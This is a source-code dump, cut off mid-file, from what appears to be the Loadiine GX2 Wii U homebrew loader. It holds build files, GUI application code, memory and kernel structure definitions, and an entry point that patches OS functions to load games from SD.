Name=\"BeforeBuild\">\n  </Target>\n  <Target Name=\"AfterBuild\">\n  </Target>\n  -->\n</Project>"
  },
  {
    "path": "server/src/loadiine_server.sln",
    "content": "﻿\nMicrosoft Visual Studio Solution File, Format Version 11.00\n# Visual Studio 2010\nProject(\"{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}\") = \"loadiine_server\", \"loadiine_server.csproj\", \"{84FB17D5-D67B-4B9E-9041-00424036BF2E}\"\nEndProject\nGlobal\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\n\t\tDebug|x86 = Debug|x86\n\t\tRelease|x86 = Release|x86\n\tEndGlobalSection\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\n\t\t{84FB17D5-D67B-4B9E-9041-00424036BF2E}.Debug|x86.ActiveCfg = Debug|x86\n\t\t{84FB17D5-D67B-4B9E-9041-00424036BF2E}.Debug|x86.Build.0 = Debug|x86\n\t\t{84FB17D5-D67B-4B9E-9041-00424036BF2E}.Release|x86.ActiveCfg = Release|x86\n\t\t{84FB17D5-D67B-4B9E-9041-00424036BF2E}.Release|x86.Build.0 = Release|x86\n\tEndGlobalSection\n\tGlobalSection(SolutionProperties) = preSolution\n\t\tHideSolutionNode = FALSE\n\tEndGlobalSection\nEndGlobal\n"
  },
  {
    "path": "server/src/obj/x86/Debug/cafiine_server.csproj.FileListAbsolute.txt",
    "content": "C:\\Users\\golden\\Desktop\\cafiine532-v1.2-dump_files\\cafiine532-v1.2-dump_files\\cafiine\\server\\src\\bin\\Debug\\cafiine_server.exe.config\nC:\\Users\\golden\\Desktop\\cafiine532-v1.2-dump_files\\cafiine532-v1.2-dump_files\\cafiine\\server\\src\\bin\\Debug\\cafiine_server.exe\nC:\\Users\\golden\\Desktop\\cafiine532-v1.2-dump_files\\cafiine532-v1.2-dump_files\\cafiine\\server\\src\\bin\\Debug\\cafiine_server.pdb\nC:\\Users\\golden\\Desktop\\cafiine532-v1.2-dump_files\\cafiine532-v1.2-dump_files\\cafiine\\server\\src\\obj\\x86\\Debug\\ResolveAssemblyReference.cache\nC:\\Users\\golden\\Desktop\\cafiine532-v1.2-dump_files\\cafiine532-v1.2-dump_files\\cafiine\\server\\src\\obj\\x86\\Debug\\cafiine_server.exe\nC:\\Users\\golden\\Desktop\\cafiine532-v1.2-dump_files\\cafiine532-v1.2-dump_files\\cafiine\\server\\src\\obj\\x86\\Debug\\cafiine_server.pdb\nC:\\Users\\golden\\Desktop\\supercafiine\\src\\obj\\x86\\Debug\\ResolveAssemblyReference.cache\nC:\\Users\\golden\\Desktop\\supercafiine\\src\\bin\\Debug\\loadiine_server.exe.config\nC:\\Users\\golden\\Desktop\\supercafiine\\src\\bin\\Debug\\loadiine_server.exe\nC:\\Users\\golden\\Desktop\\supercafiine\\src\\bin\\Debug\\loadiine_server.pdb\nC:\\Users\\golden\\Desktop\\supercafiine\\src\\obj\\x86\\Debug\\loadiine_server.exe\nC:\\Users\\golden\\Desktop\\supercafiine\\src\\obj\\x86\\Debug\\loadiine_server.pdb\n"
  },
  {
    "path": "server/src/obj/x86/Debug/loadiine_server.csproj.FileListAbsolute.txt",
    "content": "C:\\Users\\golden\\Desktop\\supercafiine\\src\\bin\\Debug\\loadiine_server.exe.config\nC:\\Users\\golden\\Desktop\\supercafiine\\src\\obj\\x86\\Debug\\loadiine_server.exe\nC:\\Users\\golden\\Desktop\\supercafiine\\src\\obj\\x86\\Debug\\loadiine_server.pdb\nC:\\Users\\golden\\Desktop\\supercafiine\\src\\bin\\Debug\\loadiine_server.exe\nC:\\Users\\golden\\Desktop\\supercafiine\\src\\bin\\Debug\\loadiine_server.pdb\nC:\\Users\\golden\\Desktop\\supercafiine\\src\\obj\\x86\\Debug\\ResolveAssemblyReference.cache\nC:\\Users\\golden\\Desktop\\loadiine_server\\src\\bin\\Debug\\loadiine_server.exe.config\nC:\\Users\\golden\\Desktop\\loadiine_server\\src\\obj\\x86\\Debug\\loadiine_server.exe\nC:\\Users\\golden\\Desktop\\loadiine_server\\src\\obj\\x86\\Debug\\loadiine_server.pdb\nC:\\Users\\golden\\Desktop\\loadiine_server\\src\\bin\\Debug\\loadiine_server.exe\nC:\\Users\\golden\\Desktop\\loadiine_server\\src\\bin\\Debug\\loadiine_server.pdb\nC:\\Users\\golden\\Desktop\\loadiine_server\\src\\obj\\x86\\Debug\\ResolveAssemblyReference.cache\n"
  },
  {
    "path": "src/Application.cpp",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#include \"Application.h\"\n#include \"dynamic_libs/os_functions.h\"\n#include \"gui/FreeTypeGX.h\"\n#include \"gui/GuiImageAsync.h\"\n#include \"gui/VPadController.h\"\n#include \"gui/WPadController.h\"\n#include \"game/GameList.h\"\n#include \"resources/Resources.h\"\n#include \"settings/CSettings.h\"\n#include \"settings/CSettingsGame.h\"\n#include \"sounds/SoundHandler.hpp\"\n#include \"system/exception_handler.h\"\n#include \"controller_patcher/ControllerPatcher.hpp\"\n#include \"utils/logger.h\"\n#include \"common/retain_vars.h\"\n//#include \"controller_patcher/cp_retain_vars.h\"\n#include \"video/CursorDrawer.h\"\n\nApplication *Application::applicationInstance = NULL;\nbool Application::exitApplication = false;\n\nApplication::Application()\n\t: CThread(CThread::eAttributeAffCore0 | CThread::eAttributePinnedAff, 0, 0x20000)\n\t, bgMusic(NULL)\n\t, video(NULL)\n    , mainWindow(NULL)\n{\n    controller[0] = new VPadController(GuiTrigger::CHANNEL_1);\n    controller[1] = new WPadController(GuiTrigger::CHANNEL_2);\n    controller[2] = new WPadController(GuiTrigger::CHANNEL_3);\n    controller[3] = new WPadController(GuiTrigger::CHANNEL_4);\n    controller[4] = new WPadController(GuiTrigger::CHANNEL_5);\n\n    CSettings::instance()->Load();\n\n    //! load HID settings\n    gHIDPADEnabled = CSettings::getValueAsU8(CSettings::HIDPadEnabled);\n\n    //! load resources\n    Resources::LoadFiles(\"sd:/wiiu/apps/loadiine_gx2/resources\");\n\n    //! create bgMusic\n    if(CSettings::getValueAsString(CSettings::BgMusicPath).empty())\n    {\n        bgMusic = new GuiSound(Resources::GetFile(\"bgMusic.ogg\"), Resources::GetFileSize(\"bgMusic.ogg\"));\n    }\n    else\n    {\n        bgMusic = new GuiSound(CSettings::getValueAsString(CSettings::BgMusicPath).c_str());\n    }\n    bgMusic->SetLoop(true);\n    bgMusic->Play();\n    bgMusic->SetVolume(50);\n\n\t//! load language\n    if(!CSettings::getValueAsString(CSettings::AppLanguage).empty()){\n        std::string languagePath = \"sd:/wiiu/apps/loadiine_gx2/languages/\" + CSettings::getValueAsString(CSettings::AppLanguage) + \".lang\";\n\t\tgettextLoadLanguage(languagePath.c_str());\n    }\n\n\texitApplication = false;\n}\n\nApplication::~Application()\n{\n    GameList::destroyInstance();\n\n    CSettings::instance()->Save();\n    CSettings::destroyInstance();\n\n\tCSettingsGame::destroyInstance();\n\n    delete bgMusic;\n\n    for(int i = 0; i < 5; i++)\n        delete controller[i];\n\n    //We may have to handle Asyncdelete in the Destructors.\n    DEBUG_FUNCTION_LINE(\"Destroy async deleter\\n\");\n    do{\n        DEBUG_FUNCTION_LINE(\"Triggering AsyncDeleter\\n\");\n        AsyncDeleter::triggerDeleteProcess();\n        while(!AsyncDeleter::realListEmpty()){\n            os_usleep(1000);\n        }\n    }while(!AsyncDeleter::deleteListEmpty());\n    AsyncDeleter::destroyInstance();\n\n\n    GuiImageAsync::threadExit();\n    Resources::Clear();\n\n\tSoundHandler::DestroyInstance();\n\n\tgettextCleanUp();\n\n\tif(!gHIDPADEnabled){\n        ControllerPatcher::destroyConfigHelper();\n    }\n\n    CursorDrawer::destroyInstance();\n}\n\nvoid Application::exec()\n{\n    //! start main GX2 thread\n    resumeThread();\n    //! now wait for thread to finish\n\tshutdownThread();\n}\n\nvoid Application::fadeOut()\n{\n    GuiImage fadeOut(video->getTvWidth(), video->getTvHeight(), (GX2Color){ 0, 0, 0, 255 });\n\n\tfor(int i = 0; i < 255; i += 10)\n    {\n        if(i > 255)\n            i = 255;\n\n        fadeOut.setAlpha(i / 255.0f);\n\n        //! start rendering DRC\n\t    video->prepareDrcRendering();\n\t    mainWindow->drawDrc(video);\n\n        GX2SetDepthOnlyControl(GX2_DISABLE, GX2_DISABLE, GX2_COMPARE_ALWAYS);\n        fadeOut.draw(video);\n        GX2SetDepthOnlyControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_LEQUAL);\n\n\t    video->drcDrawDone();\n\n        //! start rendering TV\n\t    video->prepareTvRendering();\n\n\t    mainWindow->drawTv(video);\n\n        GX2SetDepthOnlyControl(GX2_DISABLE, GX2_DISABLE, GX2_COMPARE_ALWAYS);\n        fadeOut.draw(video);\n        GX2SetDepthOnlyControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_LEQUAL);\n\n\t    video->tvDrawDone();\n\n\t    //! as last point update the effects as it can drop elements\n\t    mainWindow->updateEffects();\n\n\t    video->waitForVSync();\n    }\n\n    //! one last cleared black screen\n    video->prepareDrcRendering();\n    video->drcDrawDone();\n    video->prepareTvRendering();\n    video->tvDrawDone();\n    video->waitForVSync();\n    video->tvEnable(false);\n    video->drcEnable(false);\n}\n\nvoid Application::executeThread(void)\n{\n    //! setup exceptions on the main GX2 core\n    setup_os_exceptions();\n\n    DEBUG_FUNCTION_LINE(\"Loading game list\\n\");\n    GameList::instance()->loadUnfiltered();\n\n    DEBUG_FUNCTION_LINE(\"Initialize video\\n\");\n    video = new CVideo(GX2_TV_SCAN_MODE_720P, GX2_DRC_SINGLE);\n\n    DEBUG_FUNCTION_LINE(\"Video size %i x %i\\n\", video->getTvWidth(), video->getTvHeight());\n\n    //! setup default Font\n    DEBUG_FUNCTION_LINE(\"Initialize main font system\\n\");\n    FreeTypeGX *fontSystem = new FreeTypeGX(Resources::GetFile(\"font.ttf\"), Resources::GetFileSize(\"font.ttf\"), true);\n    GuiText::setPresetFont(fontSystem);\n\n    DEBUG_FUNCTION_LINE(\"Initialize main window\\n\");\n\n    mainWindow = new MainWindow(video->getTvWidth(), video->getTvHeight());\n\n    DEBUG_FUNCTION_LINE(\"Entering main loop\\n\");\n\n    //! main GX2 loop (60 Hz cycle with max priority on core 1)\n\twhile(!exitApplication)\n\t{\n\t    mainWindow->lockGUI();\n\t    //! Read out inputs\n\t    for(int i = 0; i < 5; i++)\n        {\n            if(controller[i]->update(video->getTvWidth(), video->getTvHeight()) == false)\n                continue;\n\n            if(controller[i]->data.buttons_d & VPAD_BUTTON_HOME)\n                exitApplication = true;\n\n            //! update controller states\n            mainWindow->update(controller[i]);\n        }\n\n        //! start rendering DRC\n\t    video->prepareDrcRendering();\n\t    mainWindow->drawDrc(video);\n\t    video->drcDrawDone();\n\n        //! start rendering TV\n\t    video->prepareTvRendering();\n\t    mainWindow->drawTv(video);\n\t    video->tvDrawDone();\n\n        //! enable screen after first frame render\n\t    if(video->getFrameCount() == 0) {\n            video->tvEnable(true);\n            video->drcEnable(true);\n\t    }\n\n\t    //! as last point update the effects as it can drop elements\n\t    mainWindow->updateEffects();\n\t    mainWindow->unlockGUI();\n\n\t    video->waitForVSync();\n\n        //! transfer elements to real delete list here after all processes are finished\n        //! the elements are transfered to another list to delete the elements in a separate thread\n        //! and avoid blocking the GUI thread\n        AsyncDeleter::triggerDeleteProcess();\n\t}\n\n\tfadeOut();\n\n    delete mainWindow;\n    delete fontSystem;\n    delete video;\n}\n"
  },
  {
    "path": "src/Application.h",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#ifndef _APPLICATION_H\n#define _APPLICATION_H\n\n#include \"menu/MainWindow.h\"\n#include \"video/CVideo.h\"\n#include \"system/CThread.h\"\n\nclass Application : public CThread\n{\npublic:\n    static Application * instance() {\n        if(!applicationInstance)\n            applicationInstance = new Application();\n        return applicationInstance;\n    }\n    static void destroyInstance() {\n        if(applicationInstance) {\n            delete applicationInstance;\n            applicationInstance = NULL;\n        }\n    }\n\n    CVideo *getVideo(void) const {\n        return video;\n    }\n    MainWindow *getMainWindow(void) const {\n        return mainWindow;\n    }\n\n    GuiSound *getBgMusic(void) const {\n        return bgMusic;\n    }\n\n    void exec(void);\n    void fadeOut(void);\n\n    void quit(void) {\n        exitApplication = true;\n    }\n\nprivate:\n    Application();\n    virtual ~Application();\n\n    static Application *applicationInstance;\n    static bool exitApplication;\n\n    void executeThread(void);\n\n    GuiSound *bgMusic;\n    CVideo *video;\n    MainWindow *mainWindow;\n    GuiController *controller[5];\n};\n\n#endif //_APPLICATION_H\n"
  },
  {
    "path": "src/common/common.h",
    "content": "#ifndef COMMON_H\n#define\tCOMMON_H\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#define LOADIINE_VERSION        \"v0.3\"\n#define IS_USING_MII_MAKER      1\n\n/* Loadiine common paths */\n#define CAFE_OS_SD_PATH         \"/vol/external01\"\n#define SD_PATH                 \"sd:\"\n#define USB_PATH                \"usb:\"\n#define WIIU_PATH               \"/wiiu\"\n#define GAMES_PATH              \"/games\"\n#define SAVES_PATH              \"/saves\"\n#define SD_GAMES_PATH           WIIU_PATH GAMES_PATH\n#define SD_SAVES_PATH           WIIU_PATH SAVES_PATH\n#define CONTENT_PATH            \"/content\"\n#define RPX_RPL_PATH            \"/code\"\n#define META_PATH               \"/meta\"\n\n/* file replacement */\n#define UPDATE_PATH             \"/updates\"\n#define COMMON_UPDATE_PATH      \"<none>\"\n#define FILELIST_NAME\t\t\t\"filelist.txt\"\n#define DIR_IDENTIFY\t\t\t\"?\"  /* maximum length = 1*/\n#define PARENT_DIR_IDENTIFY \t\"?..\"\n\n/* Macros for libs */\n#define LIB_CORE_INIT           0\n#define LIB_NSYSNET             1\n#define LIB_GX2                 2\n#define LIB_AOC                 3\n#define LIB_AX                  4\n#define LIB_FS                  5\n#define LIB_OS                  6\n#define LIB_PADSCORE            7\n#define LIB_SOCKET              8\n#define LIB_SYS                 9\n#define LIB_VPAD                10\n#define LIB_NN_ACP              11\n#define LIB_SYSHID              12\n#define LIB_VPADBASE            13\n#define LIB_AX_OLD              14\n#define LIB_PROC_UI             15\n#define LIB_NTAG                16\n#define LIB_NFP                 17\n#define LIB_SAVE                18\n#define LIB_ACT                 19\n#define LIB_NIM                 20\n\n// functions types\n#define STATIC_FUNCTION         0\n#define DYNAMIC_FUNCTION        1\n\n// none dynamic libs\n#define LIB_LOADER              0x1001\n\n/* Loadiine Modes */\n#define LOADIINE_MODE_MII_MAKER     0\n#define LOADIINE_MODE_SMASH_BROS    1\n#define LOADIINE_MODE_KARAOKE       2\n#define LOADIINE_MODE_ART_ATELIER   3\n#define LOADIINE_MODE_DEFAULT\t    255\n\n/* homebrew launcher return codes */\n#ifndef EXIT_SUCCESS\n#define EXIT_SUCCESS                0\n#endif\n#define EXIT_RELAUNCH_ON_LOAD       0xFFFFFFFD\n\n/* RPX Address : where the rpx is copied or retrieve, depends if we dump or replace */\n/* Note : from phys 0x30789C5D to 0x31E20000, memory seems empty (space reserved for root.rpx) which let us approximatly 22.5mB of memory free to put the rpx and additional rpls */\n#ifndef MEM_BASE\n#define MEM_BASE                (0x00800000)\n#endif\n\n#define ELF_DATA_ADDR           (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x00))\n#define ELF_DATA_SIZE           (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x04))\n#define MAIN_ENTRY_ADDR         (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x00))\n#define OS_FIRMWARE             (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x04))\n#define PREP_TITLE_CALLBACK     (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x08))\n#define SERVER_IP               (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x0C))\n#define RPX_CHECK_NAME          (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x10))\n#define GAME_RPX_LOADED         (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x14))\n#define GAME_LAUNCHED           (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x18))\n#define LOADIINE_MODE           (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x1C))      // loadiine operation mode (1 = smash bros, 0 = mii maker)\n\n#define OS_SPECIFICS            ((OsSpecifics*)(MEM_BASE + 0x1500))\n\ntypedef struct _game_paths_t\n{\n    char os_game_path_base[511];\n    char os_save_path_base[511];\n    char game_dir[255];\n\tchar update_folder[255];\n    char save_dir_common[10];\n    char save_dir_user[10];\n    int extraSave;\n} game_paths_t;\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\t/* COMMON_H */\n\n"
  },
  {
    "path": "src/common/kernel_defs.h",
    "content": "#ifndef __KERNEL_DEFS_H_\n#define __KERNEL_DEFS_H_\n\n#include \"types.h\"\n#include \"dynamic_libs/fs_defs.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n// original structure in the kernel that is originally 0x1270 long\ntypedef struct\n{\n    uint32_t version_cos_xml;           // version tag from cos.xml\n    uint64_t os_version;                // os_version from app.xml\n    uint64_t title_id;                  // title_id tag from app.xml\n    uint32_t app_type;                  // app_type tag from app.xml\n    uint32_t cmdFlags;                  // unknown tag as it is always 0 (might be cmdFlags from cos.xml but i am not sure)\n    char rpx_name[0x1000];              // rpx name from cos.xml\n    uint32_t unknown2;                  // 0x050B8304 in mii maker and system menu (looks a bit like permissions complex that got masked!?)\n    uint32_t unknown3[63];              // those were all zeros, but its probably connected with unknown2\n    uint32_t max_size;                  // max_size in cos.xml which defines the maximum amount of memory reserved for the app\n    uint32_t avail_size;                // avail_size or codegen_size in cos.xml (seems to mostly be 0?)\n    uint32_t codegen_size;              // codegen_size or avail_size in cos.xml (seems to mostly be 0?)\n    uint32_t codegen_core;              // codegen_core in cos.xml (seems to mostly be 1?)\n    uint32_t max_codesize;              // max_codesize in cos.xml\n    uint32_t overlay_arena;             // overlay_arena in cos.xml\n    uint32_t unknown4[59];              // all zeros it seems\n    uint32_t default_stack0_size;       // not sure because always 0 but very likely\n    uint32_t default_stack1_size;       // not sure because always 0 but very likely\n    uint32_t default_stack2_size;       // not sure because always 0 but very likely\n    uint32_t default_redzone0_size;     // not sure because always 0 but very likely\n    uint32_t default_redzone1_size;     // not sure because always 0 but very likely\n    uint32_t default_redzone2_size;     // not sure because always 0 but very likely\n    uint32_t exception_stack0_size;     // from cos.xml, 0x1000 on mii maker\n    uint32_t exception_stack1_size;     // from cos.xml, 0x1000 on mii maker\n    uint32_t exception_stack2_size;     // from cos.xml, 0x1000 on mii maker\n    uint32_t sdk_version;               // from app.xml, 20909 (0x51AD) on mii maker\n    uint32_t title_version;             // from app.xml, 0x32 on mii maker\n    /*\n    // ---------------------------------------------------------------------------------------------------------------------------------------------\n    // the next part might be changing from title to title?! I don't think its important but nice to know maybe....\n    // ---------------------------------------------------------------------------------------------------------------------------------------------\n    char mlc[4];                        // string \"mlc\" on mii maker and sysmenu\n    uint32_t unknown5[7];               // all zeros on mii maker and sysmenu\n    uint32_t unknown6_one;              // 0x01 on mii maker and sysmenu\n    // ---------------------------------------------------------------------------------------------------------------------------------------------\n    char ACP[4];                        // string \"ACP\" on mii maker and sysmenu\n    uint32_t unknown7[15];              // all zeros on mii maker and sysmenu\n    uint32_t unknown8_5;                // 0x05 on mii maker and sysmenu\n    uint32_t unknown9_zero;             // 0x00 on mii maker and sysmenu\n    uint32_t unknown10_ptr;             // 0xFF23DD0C pointer on mii maker and sysmenu\n    // ---------------------------------------------------------------------------------------------------------------------------------------------\n    char UVD[4];                        // string \"UVD\" on mii maker and sysmenu\n    uint32_t unknown11[15];             // all zeros on mii maker and sysmenu\n    uint32_t unknown12_5;               // 0x05 on mii maker and sysmenu\n    uint32_t unknown13_zero;            // 0x00 on mii maker and sysmenu\n    uint32_t unknown14_ptr;             // 0xFF23EFC8 pointer on mii maker and sysmenu\n    // ---------------------------------------------------------------------------------------------------------------------------------------------\n    char SND[4];                        // string \"SND\" on mii maker and sysmenu\n    uint32_t unknown15[15];             // all zeros on mii maker and sysmenu\n    uint32_t unknown16_5;               // 0x05 on mii maker and sysmenu\n    uint32_t unknown17_zero;            // 0x00 on mii maker and sysmenu\n    uint32_t unknown18_ptr;             // 0xFF23F014 pointer on mii maker and sysmenu\n    // ---------------------------------------------------------------------------------------------------------------------------------------------\n    uint32_t unknown19;                 // 0x02 on miimaker, 0x0F on system menu\n    */\n    // after that only zeros follow\n} __attribute__((packed)) CosAppXmlInfo;\n\n\n// Our own cos/app.xml struct which uses only uses as much memory as really needed, since many things are just zeros in the above structure\n// This structure is only 0x64 bytes long + RPX name length (dynamic up to 0x1000 theoretically)\ntypedef struct\n{\n    uint32_t version_cos_xml;           // version tag from cos.xml\n    uint64_t os_version;                // os_version from app.xml\n    uint64_t title_id;                  // title_id tag from app.xml\n    uint32_t app_type;                  // app_type tag from app.xml\n    uint32_t cmdFlags;                  // unknown tag as it is always 0 (might be cmdFlags from cos.xml but i am not sure)\n    uint32_t max_size;                  // max_size in cos.xml which defines the maximum amount of memory reserved for the app\n    uint32_t avail_size;                // avail_size or codegen_size in cos.xml (seems to mostly be 0?)\n    uint32_t codegen_size;              // codegen_size or avail_size in cos.xml (seems to mostly be 0?)\n    uint32_t codegen_core;              // codegen_core in cos.xml (seems to mostly be 1?)\n    uint32_t max_codesize;              // max_codesize in cos.xml\n    uint32_t overlay_arena;             // overlay_arena in cos.xml\n    uint32_t default_stack0_size;       // not sure because always 0 but very likely\n    uint32_t default_stack1_size;       // not sure because always 0 but very likely\n    uint32_t default_stack2_size;       // not sure because always 0 but very likely\n    uint32_t default_redzone0_size;     // not sure because always 0 but very likely\n    uint32_t default_redzone1_size;     // not sure because always 0 but very likely\n    uint32_t default_redzone2_size;     // not sure because always 0 but very likely\n    uint32_t exception_stack0_size;     // from cos.xml, 0x1000 on mii maker\n    uint32_t exception_stack1_size;     // from cos.xml, 0x1000 on mii maker\n    uint32_t exception_stack2_size;     // from cos.xml, 0x1000 on mii maker\n    uint32_t sdk_version;               // from app.xml, 20909 (0x51AD) on mii maker\n    uint32_t title_version;             // from app.xml, 0x32 on mii maker\n    char rpx_name[FS_MAX_ENTNAME_SIZE]; // rpx name from cos.xml, length 256 as it can't get bigger from FS anyway\n} __attribute__((packed)) ReducedCosAppXmlInfo;\n\ntypedef struct _bat_t\n{\n    u32 h;\n    u32 l;\n} bat_t;\n\ntypedef struct _bat_table_t\n{\n    bat_t bat[8];\n} bat_table_t;\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif // __KERNEL_DEFS_H_\n"
  },
  {
    "path": "src/common/loader_defs.h",
    "content": "#ifndef __LOADER_DEFS_H_\n#define __LOADER_DEFS_H_\n\n#include \"types.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n// struct holding the globals of the loader (there are actually more but we don't need others)\ntypedef struct _loader_globals_t\n{\n    int sgIsLoadingBuffer;\n    int sgFileType;\n    int sgProcId;\n    int sgGotBytes;\n    int sgFileOffset;\n    int sgBufferNumber;\n    int sgBounceError;\n    char sgLoadName[0x1000];\n} __attribute__((packed)) loader_globals_t;\n\ntypedef struct _loader_globals_550_t\n{\n    int sgFinishedLoadingBuffer;\n    int sgFileType;\n    int sgProcId;\n    int sgGotBytes;\n    int sgTotalBytes;\n    int sgFileOffset;\n    int sgBufferNumber;\n    int sgBounceError;\n    char sgLoadName[0x1000];\n} __attribute__((packed)) loader_globals_550_t;\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif // __LOADER_DEFS_H_\n"
  },
  {
    "path": "src/common/os_defs.h",
    "content": "#ifndef __OS_DEFS_H_\n#define __OS_DEFS_H_\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\ntypedef struct _OsSpecifics\n{\n    unsigned int addr_OSDynLoad_Acquire;\n    unsigned int addr_OSDynLoad_FindExport;\n    unsigned int addr_OSTitle_main_entry;\n\n    unsigned int addr_KernSyscallTbl1;\n    unsigned int addr_KernSyscallTbl2;\n    unsigned int addr_KernSyscallTbl3;\n    unsigned int addr_KernSyscallTbl4;\n    unsigned int addr_KernSyscallTbl5;\n} OsSpecifics;\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif // __OS_DEFS_H_\n"
  },
  {
    "path": "src/common/retain_vars.c",
    "content": "#include <gctypes.h>\nu8 gSettingLaunchPyGecko __attribute__((section(\".data\"))) = 0;\nu8 gSettingUseUpdatepath __attribute__((section(\".data\"))) = 0;\nu8 gSettingPadconMode __attribute__((section(\".data\"))) = 0;\nu8 gCursorInitDone __attribute__((section(\".data\"))) = 0;\nu8 gPatchSDKDone __attribute__((section(\".data\"))) = 0;\nu8 gHIDPADEnabled __attribute__((section(\".data\"))) = 0;\nu8 gHIDPADRumble __attribute__((section(\".data\"))) = 0;\nu8 gHIDPADNetwork __attribute__((section(\".data\"))) = 0;\nu8 gEnableDLC __attribute__((section(\".data\"))) = 0;\nu32 gLoaderPhysicalBufferAddr __attribute__((section(\".data\"))) = 0;\nu32 gLogUDP __attribute__((section(\".data\"))) = 0;\nchar gServerIP[16] __attribute__((section(\".data\")));\n"
  },
  {
    "path": "src/common/retain_vars.h",
    "content": "#ifndef RETAINS_VARS_H_\n#define RETAINS_VARS_H_\n#include <gctypes.h>\n\nextern u8 gSettingLaunchPyGecko;\nextern u8 gSettingUseUpdatepath;\nextern u8 gSettingPadconMode;\nextern u8 gCursorInitDone;\nextern u8 gPatchSDKDone;\nextern u8 gHIDPADEnabled;\nextern u8 gHIDPADRumble;\nextern u8 gHIDPADNetwork;\nextern u8 gEnableDLC;\nextern u32 gLoaderPhysicalBufferAddr;\nextern char gServerIP[16];\n\n#endif // RETAINS_VARS_H_\n"
  },
  {
    "path": "src/common/types.h",
    "content": "#ifndef TYPES_H\n#define\tTYPES_H\n\n#include <gctypes.h>\n\n#endif\t/* TYPES_H */\n\n"
  },
  {
    "path": "src/entry.cpp",
    "content": "#include <string.h>\n#include \"dynamic_libs/os_functions.h\"\n#include \"dynamic_libs/sys_functions.h\"\n#include \"dynamic_libs/socket_functions.h\"\n#include \"dynamic_libs/aoc_functions.h\"\n#include \"dynamic_libs/gx2_functions.h\"\n#include \"dynamic_libs/syshid_functions.h\"\n#include \"fs/sd_fat_devoptab.h\"\n#include \"utils/function_patcher.h\"\n#include \"controller_patcher/ControllerPatcher.hpp\"\n#include \"patcher/cpp_to_c_util.h\"\n#include \"patcher/pygecko.h\"\n#include \"common/common.h\"\n#include \"common/retain_vars.h\"\n#include \"utils/utils.h\"\n#include \"utils/logger.h\"\n#include \"video/CursorDrawer.h\"\n#include \"main.h\"\n\n\nextern \"C\" int __entry_menu(int argc, char **argv)\n{\n    //! Launch PyGecko if requested\n    if (GAME_LAUNCHED && gSettingLaunchPyGecko)\n    {\n        start_pygecko();\n    }\n    InitOSFunctionPointers();\n    InitSocketFunctionPointers();\n    InitAocFunctionPointers();\n    InitACPFunctionPointers();\n    InitFSFunctionPointers();\n\n    log_init();\n\n    //!*******************************************************************\n    //!                        Initialize HID Config                     *\n    //!*******************************************************************\n    mount_sd_fat(\"sd\");\n    ControllerPatcher::Init(CONTROLLER_PATCHER_PATH);\n    unmount_sd_fat(\"sd\");\n    ControllerPatcher::disableControllerMapping();\n    if(gHIDPADNetwork){ ControllerPatcher::startNetworkServer(); }\n    ControllerPatcher::setRumbleActivated(gHIDPADRumble);\n\n    //!*******************************************************************\n    //!                        Dynamic Patching                          *\n    //!*******************************************************************\n\n    if(GAME_LAUNCHED){\n         ApplyPatches();\n    }\n\n    //! *******************************************************************\n    //! *              Check if our application is started                *\n    //! *******************************************************************\n    if (OSGetTitleID != 0 &&\n        OSGetTitleID() != 0x000500101004A200 && // mii maker eur\n        OSGetTitleID() != 0x000500101004A100 && // mii maker usa\n        OSGetTitleID() != 0x000500101004A000 && // mii maker jpn\n        OSGetTitleID() != 0x0005000013374842)   // hbl channel\n    {\n        return EXIT_RELAUNCH_ON_LOAD;\n    }\n\n    //!*******************************************************************\n    //!                       Check game launch                          *\n    //!*******************************************************************\n    // check if game is launched, if yes continue coreinit process\n    if ((GAME_LAUNCHED == 1) && (LOADIINE_MODE == LOADIINE_MODE_MII_MAKER))\n        return EXIT_RELAUNCH_ON_LOAD;\n\n    //! *******************************************************************\n    //! *                     Setup EABI registers                        *\n    //! *******************************************************************\n    register int old_sdata_start, old_sdata2_start;\n    asm volatile(\n        \"mr %0, 13\\n\"\n        \"mr %1, 2\\n\"\n        \"lis 2, __sdata2_start@h\\n\"\n        \"ori 2, 2,__sdata2_start@l\\n\"  // Set the Small Data 2 (Read Only) base register.\n        \"lis 13, __sdata_start@h\\n\"\n        \"ori 13, 13, __sdata_start@l\\n\"// # Set the Small Data (Read\\Write) base register.\n        : 